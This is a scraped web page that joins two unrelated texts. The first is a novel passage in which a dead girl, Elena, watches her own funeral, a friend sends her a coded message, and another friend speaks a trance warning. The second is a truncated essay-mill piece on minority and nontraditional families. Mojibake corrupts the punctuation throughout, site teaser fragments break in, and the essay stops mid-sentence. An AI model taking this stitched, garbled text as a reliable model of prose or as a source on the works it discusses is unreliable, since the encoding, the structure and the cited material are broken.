Frances Decatur got up, her plain face plainer than ever with grief. â€Å"She went out of her way to be nice to me,† she said huskily. â€Å"She let me eat lunch with her.† Rubbish, Elena thought. I only spoke to you in the first place because you were useful in finding out information about Stefan. But it was the same with each person who went up to the pulpit; no one could find enough words to praise Elena. â€Å"I always admired her†¦Ã¢â‚¬  â€Å"One of my favorite students†¦Ã¢â‚¬  When Meredith rose, Elena's whole body stiffened. She didn't know if she could deal with this. But the dark-haired girl was one of the few people in the church who wasn't crying, although her face had a grave, sad look that reminded Elena of Honoria Fell as she looked on her tomb. â€Å"When I think about Elena, I think about the good times we had together,† she said, speaking quietly and with her customary self-control. â€Å"Elena always had ideas, and she could make the most boring work into fun. I never told her that, and now I wish I had. I wish that I could talk to her one more time, just so she would know. And if Elena could hear me now†-Meredith looked around the church and drew a long breath, apparently to calm herself-â€Å"if she could hear me now, I would tell her how much those good times meant to me, and how much I wish that we could still have them. Like the Thursday nights we used to sit together in her room, practicing for the debate team. I wish we could do that just once more like we used to.† Meredith took another long breath and shook her head. â€Å"But I know we can't, and that hurts.† What are you talking about? Elena thought, her misery interrupted by bewilderment. We used to practice for the debate team on Wednesday nights, not Thursdays. And it wasn't in my bedroom; it was in yours. And it was no fun at all; in fact, we ended up quitting because we both hated it†¦ Suddenly, watching Meredith's carefully composed face, so calm on the outside to conceal the tension within, Elena felt her heart begin to pound. Meredith was sending a message, a message only Elena could be expected to understand. Which meant that Meredith expected Elena to be able to hear it. Meredith knew. Had Stefan told her? Elena scanned the rows of mourners below, realizing for the first time that Stefan wasn't among them. Neither was Matt. No, it didn't seem likely that Stefan would have told Meredith, or that Meredith would choose this way of getting a message to her if he had. Then Elena remembered the way Meredith had looked at her the night they had rescued Stefan from the well, when Elena had asked to be left alone with Stefan. She remembered those keen dark eyes studying her face more than once in the last months, and the way Meredith had seemed to grow quieter and more thoughtful each time Elena came up with some odd request. Meredith had guessed then. Elena wondered just how much of the truth she'd put together. Bonnie was coming up now, crying in earnest. That was surprising; if Meredith knew, why hadn't she told Bonnie? But maybe Meredith had only a suspicion, something she didn't want to share with Bonnie in case it turned out to be a false hope. â€Å"Thank you,† Bonnie said, wiping her streaming eyes. She tilted her head back to look at the ceiling, either to regain her poise or to get inspiration. As she did, Elena saw something that no one else could see: she saw Bonnie's face drain of color and of expression, not like somebody about to faint, but in a way that was all too familiar. A chill crawled up Elena's backbone. Not here. Oh, God, of all times and places, not here. But it was already happening. Bonnie's chin had lowered; she was looking at the congregation again. Except that this time she didn't seem to see them at all, and the voice that came from Bonnie's throat was not Bonnie's voice. â€Å"No one is what they appear. Remember that. No one is what they appear.† Then she just stood there, unmoving, staring straight ahead with blank eyes. People began to shuffle and look at one another. There was a murmur of worry. â€Å"Remember that-remember-no one is what they seem†¦Ã¢â‚¬  Bonnie swayed suddenly, and Reverend Bethea ran to her while another man hastened up from the other side. The second man had a bald head that was now shining with sweat-Mr. Newcastle, Elena realized. And there at the back of the church, striding up the nave, was Alaric Saltzman. He reached Bonnie just as she fainted, and Elena heard a step behind her on the stair.

Untraditional Families - 1552 Words

Untraditional Families Naomi Gerstel and Natalia Sarksian have shed new light on the subject of minority families and their differences to the traditional nuclear families in their essay, â€Å"The Color of Family Ties.† According to their work, those of White descent make up most of all nuclear families which can be described as a father, mother and children all living in one household. Gerstel and Sarkasian point out that it is not always the case that, â€Å"Black and Latino/a, especially Puerto Rican families are more disorganized than White families, and that their families ties are weaker,† as they are often thought of by those in politics or the media (62). In fact Gerstel and Sarkasian write, â€Å"Blacks and Latinos/as, are as likely as†¦show more content†¦Jack was left out of his father’s nuclear family and he even goes on to say, â€Å"It was like we were strangers living a quarter mile from one another† (53). Many could argue that th ese circumstances are undesirable and frankly quite sad. In the poem â€Å"Aunt Ida Pieces a Quilt† by Dixon we do not see any evidence that there is any abandonment by parents and the poem demonstrates stronger family ties and support than those of â€Å"An Indian Story.† â€Å"Aunt Ida Pieces a Quilt† is a poem about an elderly woman who is stitching a quilt in memory of her great nephew, Junie, who has died of AIDS. It is a remarkable poem about a close knit family who comes together to help each other during hardship. Like â€Å"An Indian Story† this poem speaks of long family traditions and illustrates the importance of family. â€Å"My mama and my mama’s mama taught me†, says Aunt Ida (49). The two writings are also similar, in that, the main maternal figure also makes sacrifices for her family. This is illustrated when Aunt Ida helps sew a quilt for her family even though, as she describes, â€Å"My eyes ain’t good now and my fingers lock in a fist, they so eaten up with arthritis† (49).It is evident throughout the text that this family spends a great deal of time together and have a very strong bond. â€Å"That’s where Junie got his flair,† says Aunt Ida after she describes the secret that, she sews her name in red thread on the backside of every quilt that she has ever madeShow MoreRelatedFamily Structure And Children s Educational Success1280 Words   |  6 Pages Family Structure and Children’s Educational Success Taylor Yonce Sociology 2010-Section 012 Shannon McDonough 11/23/15 Introduction Nontraditional family structures have become more common and accepted throughout today’s society than in the past. This shift in family structure could have great implications for children and their future success. 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